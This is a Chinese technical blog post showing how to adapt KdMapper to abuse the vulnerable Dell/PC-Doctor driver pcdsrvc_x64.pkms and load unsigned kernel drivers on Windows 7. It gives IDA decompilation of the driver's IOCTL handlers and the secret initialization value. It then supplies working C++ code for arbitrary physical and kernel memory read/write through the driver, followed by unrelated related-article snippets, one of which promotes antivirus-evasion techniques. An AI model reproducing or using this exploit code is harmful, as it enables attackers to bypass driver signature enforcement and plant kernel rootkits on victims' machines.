KdMapper扩展实现之Dell(pcdsrvc_x64.pkms)
1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
| 驱动名称 | pcdsrvc_x64.pkms |
| 时间戳 | 5B0478B6 |
| MD5 | C5632596C83FFB4C704AFA2A7504A335 |
| 文件版本 | 6.2.3.0 |
| 设备名称 | 和驱动服务同名 |
| 初始化驱动 | 0x222004 |
| 获取物理地址 | 0x222080 |
| 读物理内存 | 0x222084 |
| 写物理内存 | 0x222088 |
| Windows 7 | 支持 |
| Windows 10 | 不支持 |
| Windows 11 | 不支持 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{DestinationString.Buffer = (PWSTR)ExAllocatePool(PagedPool, RegistryPath->Length + 2i64);if (!DestinationString.Buffer)return 0xC000009A;DestinationString.MaximumLength = RegistryPath->Length + 2;RtlCopyUnicodeString(&DestinationString, RegistryPath);DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_13190;DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_131C4;DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;DriverObject->DriverUnload = (PDRIVER_UNLOAD)DriverUnload;return CreateDevice(DriverObject);
}
可以看到 DestinationString是根据 RegistryPath 来设置,也就是根据驱动安装的服务名称来确定。后面会看到驱动创建的设备名称就是根据 DestinationString 来设置的。
3.2 创建设备和符号链接
NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject)
{NTSTATUS result; // eaxint v3; // ediunsigned int v4; // eax__int64 v5; // rcxint v6; // esi_UNICODE_STRING* v7; // rdiWCHAR* v8; // raxstruct _UNICODE_STRING Destination; // [rsp+58h] [rbp-70h] BYREFUNICODE_STRING v10; // [rsp+68h] [rbp-60h] BYREFstruct _UNICODE_STRING DestinationString; // [rsp+78h] [rbp-50h] BYREFUNICODE_STRING Source; // [rsp+88h] [rbp-40h] BYREFUNICODE_STRING DefaultSDDLString; // [rsp+98h] [rbp-30h] BYREFPDEVICE_OBJECT DeviceObject; // [rsp+D8h] [rbp+10h] BYREF_UNICODE_STRING* v15; // [rsp+E0h] [rbp+18h]RtlInitUnicodeString(&DestinationString, L"\\DosDevices\\PCDSRVC");RtlInitUnicodeString(&Source, L"\\DosDevices\\");Destination.Buffer = (PWSTR)ExAllocatePool(PagedPool, 538ui64);if (!Destination.Buffer)return 0xC000009A;Destination.Length = 0;Destination.MaximumLength = 538;RtlAppendUnicodeStringToString(&Destination, &Source);v3 = -1;v4 = ::DestinationString.Length >> 1;v5 = v4;while (::DestinationString.Buffer[v5] != 92){--v4;if (--v5 < 0)goto LABEL_8;}v3 = v4;
LABEL_8:if (v3 == -1)return 0xC0000001;RtlInitUnicodeString(&DefaultSDDLString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)");v10.Buffer = &::DestinationString.Buffer[v3 + 1];v10.Length = ::DestinationString.Length - 2 * (v3 + 1);v10.MaximumLength = v10.Length - 1;RtlAppendUnicodeStringToString(&Destination, &v10);result = WdmlibIoCreateDeviceSecure(DriverObject,0x28u,&Destination,0x22u,0x100u,0,&DefaultSDDLString,0i64,&DeviceObject);v6 = result;if (result >= 0){RtlFreeUnicodeString(&Destination);v15 = (_UNICODE_STRING*)DeviceObject->DeviceExtension;v7 = v15;*(_QWORD*)&v15->Length = DeviceObject;v7->Buffer = (PWSTR)DriverObject;v8 = (WCHAR*)ExAllocatePool(PagedPool, DestinationString.MaximumLength);v7[1].Buffer = v8;if (v8){v7[1].MaximumLength = DestinationString.MaximumLength;RtlCopyUnicodeString(v7 + 1, &DestinationString);}else{v6 = 0xC000009A;}if (v6 < 0){if (v7[1].Buffer)RtlFreeUnicodeString(v7 + 1);IoDeleteDevice(DeviceObject);}result = v6;}return result;
}
从第 18 行到第 43 行,加上 3.1节内容可以看出创建设备的名称是根据驱动服务名称来设置,同驱动服务名同名,因此相应的实现逻辑也要做修改。见《4.1 设备名称相关》。
3.3 DeviceIoControl
__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{_IO_STACK_LOCATION* pIosp; // r9unsigned int nBytesReturn; // edxULONG nIoControlCode; // ecxunsigned int ntStatus; // ebxDWORD* dwInitailizeCode; // raxpIosp = pIrp->Tail.Overlay.CurrentStackLocation;nBytesReturn = 0;nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;if (nIoControlCode != 0x222004 && !bInitialized){ntStatus = 0xC0000022;pIrp->IoStatus.Information = 0i64;LABEL_18:LOBYTE(nBytesReturn) = 0;goto LABEL_36;}if (nIoControlCode - 0x222000 <= 0x7C){ntStatus = 0;if (nIoControlCode == 0x222000){if (pIosp->Parameters.DeviceIoControl.OutputBufferLength >= 4){*(_DWORD*)pIrp->AssociatedIrp.SystemBuffer = 0x6020300;LABEL_16:nBytesReturn = 4;goto LABEL_17;}}else{if (nIoControlCode != 0x222004){ntStatus = 0xC0000010;LABEL_17:pIrp->IoStatus.Information = nBytesReturn;goto LABEL_18;}if (pIosp->Parameters.DeviceIoControl.InputBufferLength >= 4&& pIosp->Parameters.DeviceIoControl.OutputBufferLength >= 4)// 初始化驱动{dwInitailizeCode = (DWORD*)pIrp->AssociatedIrp.SystemBuffer;if (*dwInitailizeCode == 0xA1B2C3D4){bInitialized = 1;*dwInitailizeCode = 0;}else{*dwInitailizeCode = 1;}goto LABEL_16;}}ntStatus = 0xC000000D;goto LABEL_17;}if (nIoControlCode - 0x222080 <= 0x7C)return MemoryOperation(pIrp);if (nIoControlCode - 0x222100 <= 0x7C)return sub_112C8(pIrp);if (nIoControlCode - 0x222180 <= 0x7C)return sub_13A44(pIrp);if (nIoControlCode - 0x222300 <= 0x7C)return sub_13B94(pIrp);if (nIoControlCode - 0x222380 <= 0x7C)return sub_11008(pIrp);if (nIoControlCode - 0x222680 <= 0x7C)return sub_11878(pIrp);if (nIoControlCode - 0x222700 <= 0x7C)return sub_121C4(pIrp);if (nIoControlCode - 0x222600 <= 0x7C)return sub_13D5C(pIrp);ntStatus = 0xC0000010;pIrp->IoStatus.Information = 0i64;
LABEL_36:pIrp->IoStatus.Status = ntStatus;IofCompleteRequest(pIrp, nBytesReturn);return ntStatus;
}
从 42 行到 55 行是关于驱动初始化的逻辑,由第 12 行可以看出,未初始化的设备请求是不被处理的,详见《4.2 初始化驱动》。
关于内存的操作是在 MemoryOperation 函数中。
3.4 MemoryOperation
__int64 __fastcall MemoryOperation(PIRP pIrp)
{_IO_STACK_LOCATION* pIosp; // raxULONG_PTR nBytesReturn; // rdiunsigned int nInputBufferLength; // ecxULONG nOutputBufferLength; // er8int nControlCode; // edxint nControlCodeV7; // edxunsigned int ntStatus; // ebxPC_DOCTOR_PHYSICAL_MEMORY_INFO* pInfo; // rbpSIZE_T nMapSize; // rdxPVOID pAddressMapped; // r12unsigned int ntStatusV12; // eaxPHYSICAL_ADDRESS nBytesMapped; // [rsp+50h] [rbp+8h] BYREFpIosp = pIrp->Tail.Overlay.CurrentStackLocation;nBytesReturn = 0i64;nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;nControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode - 0x222080;nBytesMapped.QuadPart = 0i64;if (!nControlCode) // 0x222080 获取物理内存 只能获取用户态虚拟地址对应的物理地址{if (nInputBufferLength != 8 || nOutputBufferLength != 8)goto LABEL_18;ntStatusV12 = GetPhysicalMemory(pIrp, &nBytesMapped);goto LABEL_17;}nControlCodeV7 = nControlCode - 4;if (!nControlCodeV7) // 0x222084 读取物理内存{if (nInputBufferLength < 0xD)goto LABEL_18;ntStatusV12 = ReadPhysicalMemory(pIrp, &nBytesMapped);LABEL_17:nBytesReturn = nBytesMapped.QuadPart;ntStatus = ntStatusV12;goto LABEL_19;}if (nControlCodeV7 != 4){ntStatus = 0xC0000010;goto LABEL_19;}if (nInputBufferLength < 0xD) // 0x222088 写入物理内存{LABEL_18:ntStatus = 0xC000000D;goto LABEL_19;}pInfo = (PC_DOCTOR_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;ntStatus = 0;nMapSize = pInfo->Length;nBytesMapped = pInfo->PhysicalAddress;pAddressMapped = MapIoSpace(nBytesMapped, nMapSize);if (pAddressMapped){if (CopyMemory(pAddressMapped, &pInfo[1], pInfo->Length, &nBytesMapped, pInfo->CopyAlign))nBytesReturn = pInfo->Length;elsentStatus = 0xC000000D;MmUnmapIoSpace(pAddressMapped, pInfo->Length);}else{ntStatus = 0xC0000001;}
LABEL_19:pIrp->IoStatus.Status = ntStatus;pIrp->IoStatus.Information = nBytesReturn;IofCompleteRequest(pIrp, 0);return ntStatus;
}
第 26 行为获取物理内存,请求码为 0x222080,实现函数为 GetPhysicalMemory。
第 30 行到 38 行为读取物理内存,请求码为 0x222084,实现函数为 ReadPhysicalMemory。
第 45 行到 67 行为写入物理内存,请求码为 0x222088。
3.5 GetPhysicalMemory
__int64 __fastcall GetPhysicalMemory(PIRP pIrp, _QWORD* nBytesMapped)
{void* pAddressToMap; // rdi_MDL* pMdl; // rax_MDL* pMdl2; // rbxpAddressToMap = *(void**)pIrp->AssociatedIrp.SystemBuffer;pMdl = IoAllocateMdl(pAddressToMap, 1u, 0, 0, 0i64);pMdl2 = pMdl;if (!pMdl)return 0xC0000001i64;MmProbeAndLockPages(pMdl, 1, IoReadAccess);*(_QWORD*)pIrp->AssociatedIrp.SystemBuffer = (unsigned __int16)pAddressToMap & 0xFFF | ((__int64)pMdl2[1].Next << 12);MmUnlockPages(pMdl2);IoFreeMdl(pMdl2);*nBytesMapped = 8i64;return 0i64;
}
虽然这里通过映射内存的MDL来获取物理地址,但由于 MmProbeAndLockPages 第 2 个参数用的是 UserMode 也即 1 来锁定,但 KdMapper 中大多使用的是内核地址,导致使用时会失败,也即无法利用这个函数来获取物理地址。
3.6 读物理内存
__int64 __fastcall ReadPhysicalMemory(PIRP pIrp, _QWORD* nBytesMapped)
{PC_DOCTOR_PHYSICAL_MEMORY_INFO* pInfo; // r8unsigned int ntStatus; // ebxPVOID pAddressMapped; // rbpunsigned int nSize; // [rsp+38h] [rbp-20h]char nCopyAlign; // [rsp+3Ch] [rbp-1Ch]PHYSICAL_ADDRESS pPhsicalAdressVar; // [rsp+60h] [rbp+8h] BYREFpInfo = (PC_DOCTOR_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;ntStatus = 0;nSize = pInfo->Length;nCopyAlign = pInfo->CopyAlign;pPhsicalAdressVar = pInfo->PhysicalAddress;pAddressMapped = MapIoSpace(pPhsicalAdressVar, nSize);if (!pAddressMapped)return 0xC0000001i64;if (CopyMemory(pIrp->AssociatedIrp.SystemBuffer, pAddressMapped, nSize, &pPhsicalAdressVar, nCopyAlign)){*nBytesMapped = nSize;}else{*nBytesMapped = 0i64;ntStatus = 0xC000000D;}MmUnmapIoSpace(pAddressMapped, nSize);return ntStatus;
}
3.7 CopyMemory
char __fastcall CopyMemory(void* Destination, const void* Source, unsigned int nSize, _QWORD* pPhsicalAdressVar, char nCopyAlign)
{unsigned __int16 v5; // r10unsigned int v7; // eax__int64 v8; // rdxv5 = 0;if (!nCopyAlign){memmove(Destination, Source, nSize);return 1;}if (nCopyAlign == 4 && !(*pPhsicalAdressVar % 4i64)){v7 = nSize / 4;if (!(nSize % 4)){if (v7){do{v8 = v5++;*((_DWORD*)Destination + v8) = *((_DWORD*)Source + v8);} while (v5 < v7);}return 1;}}return 0;
}
在使用时只需要将第 5 个参数传 0 即实现 memmove。
3.8 PC_DOCTOR_PHYSICAL_MEMORY_INFO结构
00000000 PC_DOCTOR_PHYSICAL_MEMORY_INFO struc ; (sizeof=0xD, copyof_384)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 Length dd ?
0000000C CopyAlign db ?
0000000D PC_DOCTOR_PHYSICAL_MEMORY_INFO ends
3.9 使用注意事项
实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
4.相关逻辑说明
4.1 设备名称相关
4.1.1 原逻辑代码
HANDLE dell_driver::Load()
{......memset(dell_driver::driver_name, 0, sizeof(dell_driver::driver_name));static const char alphanum[] ="abcdefghijklmnopqrstuvwxyz""ABCDEFGHIJKLMNOPQRSTUVWXYZ";int len = rand() % 20 + 10;for (int i = 0; i < len; ++i)dell_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)];......HANDLE result = CreateFileW(L"\\\\.\\PCDSRVC", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (!result || result == INVALID_HANDLE_VALUE){dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}......
}
4.1.2 修改后逻辑代码
参考《3.2 创建设备和符号链接》逻辑进行相关修改,代码如下:
HANDLE dell_driver::Load()
{......std::wstring strDeviceName;strDeviceName.append(L"\\\\.\\");strDeviceName.append(GetDriverNameW());HANDLE result = CreateFileW(strDeviceName.c_str(), GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (!result || result == INVALID_HANDLE_VALUE){Log(L"[-] Failed to load driver iqvw64e.sys" << std::endl);dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}......
}
4.2 初始化驱动
参考《3.3 DeviceIoControl》的说明,要发送控制码为 0x222004,数据为 0xA1B2C3D4的请求,实现代码如下:
#define PCDSRVC_X64_DEVICE_TYPE (DWORD)0x22
#define PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID (DWORD)0x801
#define IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222004
#define INITIALIZE_CODE (0xA1B2C3D4)bool dell_driver::InitializeDriver(HANDLE device_handle)
{DWORD dwInitializeCode = INITIALIZE_CODE;return SuperCallDriver(device_handle, IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER, &dwInitializeCode, sizeof(DWORD), &dwInitializeCode, sizeof(dwInitializeCode));
}HANDLE dell_driver::Load()
{......ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");if (ntoskrnlAddr == 0) {Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}if (!dell_driver::InitializeDriver(result)){Log(L"[-] Failed to Initialize Driver" << std::endl);dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}......
}
5. 代码实现
5.1 .h文件
#pragma pack(push, 1)typedef struct _PCDSRVC_PHISICAL_MEMORY_INFO{PHYSICAL_ADDRESS PhysicalAddress;DWORD Length;BYTE CopyAlign;}PCDSRVC_PHISICAL_MEMORY_INFO, *PPCDSRVC_PHISICAL_MEMORY_INFO;
#pragma pack(pop)#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif#define PCDSRVC_X64_DEVICE_TYPE (DWORD)0x22
#define PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID (DWORD)0x801
#define PCDSRVC_X64_GET_PHYSICAL_ADDRESS_FUNCID (DWORD)0x820
#define PCDSRVC_X64_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x821
#define PCDSRVC_X64_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x822#define IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222004
#define IOCTL_PCDSRVC_X64_GET_PHYSICAL_ADDRESS \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_GET_PHYSICAL_ADDRESS_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222080
#define IOCTL_PCDSRVC_X64_READ_PHYSICAL_MEMORY \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222084
#define IOCTL_PCDSRVC_X64_WRITE_PHYSICAL_MEMORY \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222088#define INITIALIZE_CODE (0xA1B2C3D4)
5.2 .c文件
NTSTATUS dell_driver::SuperCallDriverEx(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength,_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,NULL,NULL,NULL,&ioStatus,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength);if (ntStatus == STATUS_PENDING) {ntStatus = NtWaitForSingleObject(DeviceHandle,FALSE,NULL);}if (IoStatus)*IoStatus = ioStatus;return ntStatus;
}BOOL dell_driver::SuperCallDriver(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength)
{BOOL bResult;IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus = SuperCallDriverEx(DeviceHandle,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength,&ioStatus);bResult = NT_SUCCESS(ntStatus);SetLastError(RtlNtStatusToDosError(ntStatus));return bResult;
}BOOL WINAPI dell_driver::SuperReadWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes,_In_ BOOLEAN DoWrite)
{BOOL bResult = FALSE;DWORD dwError = ERROR_SUCCESS;PCDSRVC_PHISICAL_MEMORY_INFO info = { 0 };PBYTE pWriteData = NULL;SIZE_T nBufferSize = sizeof(PCDSRVC_PHISICAL_MEMORY_INFO) + NumberOfBytes;__try {if (DoWrite) {pWriteData = (PBYTE)malloc(nBufferSize);if (pWriteData){RtlZeroMemory(pWriteData, nBufferSize);info.PhysicalAddress.QuadPart = PhysicalAddress;info.Length = NumberOfBytes;info.CopyAlign = 0;RtlCopyMemory(pWriteData, &info, sizeof(PCDSRVC_PHISICAL_MEMORY_INFO));RtlCopyMemory(pWriteData + sizeof(PCDSRVC_PHISICAL_MEMORY_INFO), Buffer, NumberOfBytes);bResult = SuperCallDriver(DeviceHandle,IOCTL_PCDSRVC_X64_WRITE_PHYSICAL_MEMORY,pWriteData,(ULONG)nBufferSize,NULL,0);if (!bResult){Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n");}}else{Log(L"SuperReadWritePhysicalMemory Write malloc failed\r\n");}}else{info.PhysicalAddress.QuadPart = PhysicalAddress;info.Length = NumberOfBytes;info.CopyAlign = 0;bResult = SuperCallDriver(DeviceHandle, IOCTL_PCDSRVC_X64_READ_PHYSICAL_MEMORY, &info, sizeof(info), Buffer, NumberOfBytes);if (!bResult){Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n");}}}__except (EXCEPTION_EXECUTE_HANDLER) {bResult = FALSE;dwError = GetExceptionCode();Log(L"[!] Error SuperReadWritePhysicalMemory Exception!" << std::endl);}if (pWriteData){free(pWriteData);}SetLastError(dwError);return bResult;
}
BOOL WINAPI dell_driver::SuperReadPhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_ PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,FALSE);
}BOOL WINAPI dell_driver::SuperWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,TRUE);
}BOOL WINAPI dell_driver::SuperWriteKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress = 0;SetLastError(ERROR_SUCCESS);bResult = SuperVirtualToPhysical(DeviceHandle,Address,&physicalAddress);if (bResult) {bResult = SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,TRUE);}return bResult;
}BOOL WINAPI dell_driver::SuperReadKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress = 0;SetLastError(ERROR_SUCCESS);bResult = SuperVirtualToPhysical(DeviceHandle,Address,&physicalAddress);if (bResult) {bResult = SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,FALSE);}return bResult;
}bool dell_driver::InitializeDriver(HANDLE device_handle)
{DWORD dwInitializeCode = INITIALIZE_CODE;return SuperCallDriver(device_handle, IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER, &dwInitializeCode, sizeof(DWORD), &dwInitializeCode, sizeof(dwInitializeCode));
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。
6. 运行效果
Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。

7.特别提示
使用 PCDSRVC_X64.sys 制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。
相关文章:
KdMapper扩展实现之Dell(pcdsrvc_x64.pkms)
1.背景 KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。 2.驱动信息 驱动名称pcds…...
python和go相互调用的两种方法
前言 Python 和 Go 语言是两种不同的编程语言,它们分别有自己的优势和适用场景。在一些项目中,由于团队内已有的技术栈或者某一部分业务的需求,可能需要 Python 和 Go 相互调用,以此来提升效率和性能。 性能优势 Go 通常比 Python 更高效&…...
c# 分部视图笔记
Html.Partial("**", 1) public ActionResult **(int page) { ViewBag.page page; return PartialView("**"); }...
Vue3最佳实践 第七章 TypeScript 中
Vue组件中TypeScript 在Vue组件中,我们可以使用TypeScript进行各种类型的设置,包括props、Reactive和ref等。下面,让我们详细地探讨一下这些设置。 设置描述设置props在Vue中,props本身就具有类型设定的功能。但如果你希望使用Ty…...
(三)行为模式:8、状态模式(State Pattern)(C++示例)
目录 1、状态模式(State Pattern)含义 2、状态模式的UML图学习 3、状态模式的应用场景 4、状态模式的优缺点 (1)优点 (2)缺点 5、C实现状态模式的实例 1、状态模式(State Pattern&#x…...
nginx的配置文件概述及简单demo(二)
默认配置文件 当安装完nginx后,它的目录下通常有默认的配置文件 #user nobody; worker_processes 1;#error_log logs/error.log; #error_log logs/error.log notice; #error_log logs/error.log info;#pid logs/nginx.pid;events {worker_connection…...
Apollo Planning2.0决策规划算法代码详细解析 (2): vscode gdb单步调试环境搭建
前言: apollo planning2.0 在新版本中在降低学习和二次开发成本上进行了一些重要的优化,重要的优化有接口优化、task插件化、配置参数改造等。 GNU symbolic debugger,简称「GDB 调试器」,是 Linux 平台下最常用的一款程序调试器。GDB 编译器通常以 gdb 命令的形式在终端…...
flex 布局:元素/文字靠右
前言 略 使用flex的justify-content属性控制元素的摆放位置 靠右 <view class"more">展开更多<text class"iconfont20231007 icon-zhankai"></text></view>.more {display: flex;flex-direction: row;color: #636363;justify-co…...
java基础-第1章-走进java世界
一、计算机基础知识 常用的DOS命令 二、计算机语言介绍 三、Java语言概述 四、Java环境的搭建 JDK安装图解 环境变量的配置 配置环境变量意义 配置环境变量步骤 五、第一个Java程序 编写Java源程序 编译Java源文件 运行Java程序 六、Java语言运行机制 核心机制—Java虚拟机 核…...
jvm 堆内存 栈内存 大小设置
4种方式配置不同作用域的jvm的堆栈内存。 1、Eclise 中设置jvm内存: 改动eclipse的配置文件,对全部project都起作用 改动eclipse根文件夹下的eclipse.ini文件 -vmargs //虚拟机设置 -Xms40m //初始内存 -Xmx256m //最大内存 -Xmn16m //最小内存 -XX:PermSize=128M //非堆内…...
免杀对抗-反沙盒+反调试
反VT-沙盒检测-Go&Python 介绍: 近年来,各类恶意软件层出不穷,反病毒软件也更新了各种检测方案以提高检率。 其中比较有效的方案是动态沙箱检测技术,即通过在沙箱中运行程序并观察程序行为来判断程序是否为恶意程序。简单来说…...
QTimer类的使用方法
本文介绍QTimer类的使用方法。 1.单次触发 在某些情况下,定时器只运行一次,可使用单次触发方式。 QTimer *timer new QTimer(this); connect(timer, &QTimer::timeout, this, &MainWindow::timeout); timer->setSingleShot(true); timer-…...
(三)行为模式:9、空对象模式(Null Object Pattern)(C++示例)
目录 1、空对象模式(Null Object Pattern)含义 2、空对象模式的主要涉及以下几个角色 3、空对象模式的应用场景 4、空对象模式的优缺点 (1)优点 (2)缺点 5、C实现空对象模式的实例 1、空对象模式&am…...
Django实战项目-学习任务系统-用户登录
第一步:先创建一个Django应用程序框架代码 1,先创建一个Django项目 django-admin startproject mysite将创建一个目录,其布局如下:mysite/manage.pymysite/__init__.pysettings.pyurls.pyasgi.pywsgi.py 2,再创建一个…...
【动手学深度学习-Pytorch版】Transformer代码总结
本文是纯纯的撸代码讲解,没有任何Transformer的基础内容~ 是从0榨干Transformer代码系列,借用的是李沐老师上课时讲解的代码。 本文是根据每个模块的实现过程来进行讲解的。如果您想获取关于Transformer具体的实现细节(不含代码)可…...
做外贸独立站选Shopify还是WordPress?
现在确实会有很多新人想做独立站,毕竟跨境电商平台内卷严重,平台规则限制不断升级,脱离平台“绑架”布局独立站,才能获得更多流量、订单、塑造品牌价值。然而,在选择建立外贸独立站的过程中,选择适合的建站…...
echarts的bug,在series里写tooltip,不起作用,要在全局先写tooltip:{}才起作用,如果在series里写的不起作用就写到全局里
echarts的bug,在series里写tooltip,不起作用,要在全局先写tooltip:{show:true}才起作用,如果在series里写的不起作用就写到全局里 series里写tooltip不起作用,鼠标悬浮在echarts图表上时不显示提示 你需要…...
jmeter分布式压测
一、什么是压力测试? 压力测试(Stress Test),也称为强度测试、负载测试,属于性能测试的范畴。 压力测试是模拟实际应用的软硬件环境及用户使用过程的系统负荷,长时间或超大负荷地运行被测软件系统ÿ…...
consulmanage部署
一、部署consul 使用yum方式部署consul yum install -y yum-utils yum-config-manager --add-repo https://rpm.releases.hashicorp.com/RHEL/hashicorp.repo yum -y install consul 执行以下命令获取uuid密钥并记录下来 uuidgen 编辑consul配置文件 vi /etc/consul.d/consul.h…...
大数据软件项目的验收流程
大数据软件项目的验收流程是确保项目交付符合预期需求和质量标准的关键步骤。以下是一般的大数据软件项目验收流程,希望对大家有所帮助。北京木奇移动技术有限公司,专业的软件外包开发公司,欢迎交流合作。 1.项目验收计划制定: 在…...
iOS 26 携众系统重磅更新,但“苹果智能”仍与国行无缘
美国西海岸的夏天,再次被苹果点燃。一年一度的全球开发者大会 WWDC25 如期而至,这不仅是开发者的盛宴,更是全球数亿苹果用户翘首以盼的科技春晚。今年,苹果依旧为我们带来了全家桶式的系统更新,包括 iOS 26、iPadOS 26…...
微软PowerBI考试 PL300-选择 Power BI 模型框架【附练习数据】
微软PowerBI考试 PL300-选择 Power BI 模型框架 20 多年来,Microsoft 持续对企业商业智能 (BI) 进行大量投资。 Azure Analysis Services (AAS) 和 SQL Server Analysis Services (SSAS) 基于无数企业使用的成熟的 BI 数据建模技术。 同样的技术也是 Power BI 数据…...
【Linux】C语言执行shell指令
在C语言中执行Shell指令 在C语言中,有几种方法可以执行Shell指令: 1. 使用system()函数 这是最简单的方法,包含在stdlib.h头文件中: #include <stdlib.h>int main() {system("ls -l"); // 执行ls -l命令retu…...
在rocky linux 9.5上在线安装 docker
前面是指南,后面是日志 sudo dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo sudo dnf install docker-ce docker-ce-cli containerd.io -y docker version sudo systemctl start docker sudo systemctl status docker …...
五年级数学知识边界总结思考-下册
